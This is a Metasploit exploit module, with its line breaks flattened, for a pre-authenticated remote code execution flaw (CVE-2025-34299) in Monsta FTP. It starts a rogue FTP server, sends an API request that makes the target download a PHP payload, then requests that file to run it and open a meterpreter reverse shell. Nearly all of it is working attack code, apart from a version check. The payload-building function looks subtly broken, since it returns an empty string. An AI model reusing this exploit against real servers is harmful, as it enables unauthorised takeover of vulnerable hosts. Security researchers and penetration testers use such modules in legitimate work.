## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Exploit::FileDropper include Msf::Exploit::Remote::FtpServer include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Monsta FTP downloadFile Remote Code Execution', 'Description' => %q{ This module exploits a pre-authenticated remote code execution vulnerability in Monsta FTP versions < 2.11.3. The vulnerability exists in the downloadFile action which allows an attacker to connect to a malicious FTP or SFTP server and download arbitrary files to arbitrary locations on the Monsta FTP server. This module uses FTP to exploit the vulnerability. }, 'Author' => [ 'watchTowr Labs', # Discovery 'Valentin Lobstein ', # Metasploit module 'msutovsky-r7' # Module reviewer ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-34299'], ['URL', 'https://labs.watchtowr.com/monsta-ftp-remote-code-execution-cve-2025-34299/'] ], 'Platform' => %w[php unix linux win], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2025-11-07', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to Monsta FTP', '/mftp/']) ]) end def check res = send_request_cgi('uri' => normalize_uri(target_uri.path)) return CheckCode::Unknown('Connection failed') unless res return CheckCode::Safe('Target does not appear to be Monsta FTP') unless res.code == 200 && res.body.include?('Monsta FTP') version_match = res.body.match(/(?:v=|assets-|monsta-min-)(\d+\.\d+\.\d+)/) return CheckCode::Detected('Monsta FTP detected but version could not be determined') unless version_match version = Rex::Version.new(version_match[1]) print_status("Monsta FTP version detected: #{version}") version < Rex::Version.new('2.11.3') ? CheckCode::Appears("Detected version #{version}, which is vulnerable") : CheckCode::Safe("Detected not vulnerable version #{version}") end def php_payload_content phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) "" end def send_ftp_response(cli, code, message) cli.put "#{code} #{message}\r\n" vprint_status("FTP: #{code} #{message}") end def require_auth(cli) return true if @state[cli][:auth] send_ftp_response(cli, 530, 'Not logged in.') false end def send_data_connection(cli) conn = establish_data_connection(cli) unless conn send_ftp_response(cli, 425, "Can't open data connection.") return nil end conn end def handle_data_transfer_retr(cli, message) send_ftp_response(cli, 150, message) conn = send_data_connection(cli) return unless conn conn.put(php_payload_content) conn.close send_ftp_response(cli, 226, 'Transfer complete.') end def start_ftp_service(credentials) define_singleton_method(:on_client_connect) do |cli| vprint_status("FTP client connected from #{cli.peerhost}:#{cli.peerport}") @state[cli] = { name: "#{cli.peerhost}:#{cli.peerport}", ip: cli.peerhost, port: cli.peerport, user: credentials[:user], pass: credentials[:pass], auth: false, valid_user: false } send_ftp_response(cli, 220, 'FTP Server Ready') end start_service({ SSL: false }) end def handle_ftp_command(_cli, cmd, arg = nil) vprint_status("FTP: Client sent #{cmd}#{arg ? " #{arg}" : ''}") end def on_client_command_user(cli, arg) handle_ftp_command(cli, 'USER', arg) @state[cli][:valid_user] = arg == @state[cli][:user] send_ftp_response(cli, 331, 'User name okay, need password.') end def on_client_command_pass(cli, arg) handle_ftp_command(cli, 'PASS') @state[cli][:auth] = @state[cli][:valid_user] && arg == @state[cli][:pass] code, message = @state[cli][:auth] ? [230, 'Login successful.'] : [530, 'Login incorrect.'] send_ftp_response(cli, code, message) end def on_client_command_pwd(cli, _arg) handle_ftp_command(cli, 'PWD') send_ftp_response(cli, 257, '"/" is current directory.') end def on_client_command_type(cli, arg) handle_ftp_command(cli, 'TYPE', arg) send_ftp_response(cli, 200, "Type set to #{arg}.") end def on_client_command_port(cli, arg) handle_ftp_command(cli, 'PORT', arg) parts = arg.split(',') unless parts.length == 6 vprint_error("FTP: Invalid PORT command format: #{arg}") send_ftp_response(cli, 500, 'Illegal PORT command.') return end host = parts[0..3].join('.') port = (parts[4].to_i * 256) + parts[5].to_i vprint_status("FTP: PORT command parsed - host: #{host}, port: #{port}") active_data_port_for_client(cli, port) send_ftp_response(cli, 200, 'PORT command successful.') end def on_client_command_retr(cli, arg) handle_ftp_command(cli, 'RETR', arg) return unless require_auth(cli) handle_data_transfer_retr(cli, "Opening data connection for #{arg}") end def on_client_command_quit(cli, _arg) handle_ftp_command(cli, 'QUIT') send_ftp_response(cli, 221, 'Goodbye.') end def on_client_command_unknown(cli, cmd, arg) handle_ftp_command(cli, "UNKNOWN: #{cmd}", arg) send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.") end def trigger_http_request(exploit_data) vprint_status('Triggering HTTP request...') payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'application', 'api', 'api.php'), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'data' => "request=#{Rex::Text.uri_encode({ 'connectionType' => 'ftp', 'configuration' => { 'host' => datastore['SRVHOST'], 'username' => exploit_data[:user], 'initialDirectory' => '/', 'password' => exploit_data[:pass], 'port' => datastore['SRVPORT'] }, 'actionName' => 'downloadFile', 'context' => { 'remotePath' => "/#{payload_name}", 'localPath' => payload_name } }.to_json)}" }) return nil unless res&.code == 200 && res.get_json_document&.[]('success') vprint_status("File downloaded successfully: #{payload_name}") payload_name end def exploit exploit_data = { user: Faker::Internet.username, pass: Faker::Internet.password } start_ftp_service(exploit_data) vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") payload_name = trigger_http_request(exploit_data) fail_with(Failure::Unknown, 'Failed to download payload file') unless payload_name register_file_for_cleanup(payload_name) vprint_status("Triggering payload at #{normalize_uri(target_uri.path, 'application', 'api', payload_name)}...") res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'application', 'api', payload_name), 'method' => 'GET') vprint_warning('Payload executed but failed to establish reverse connection') if res&.body == 'no socket' end end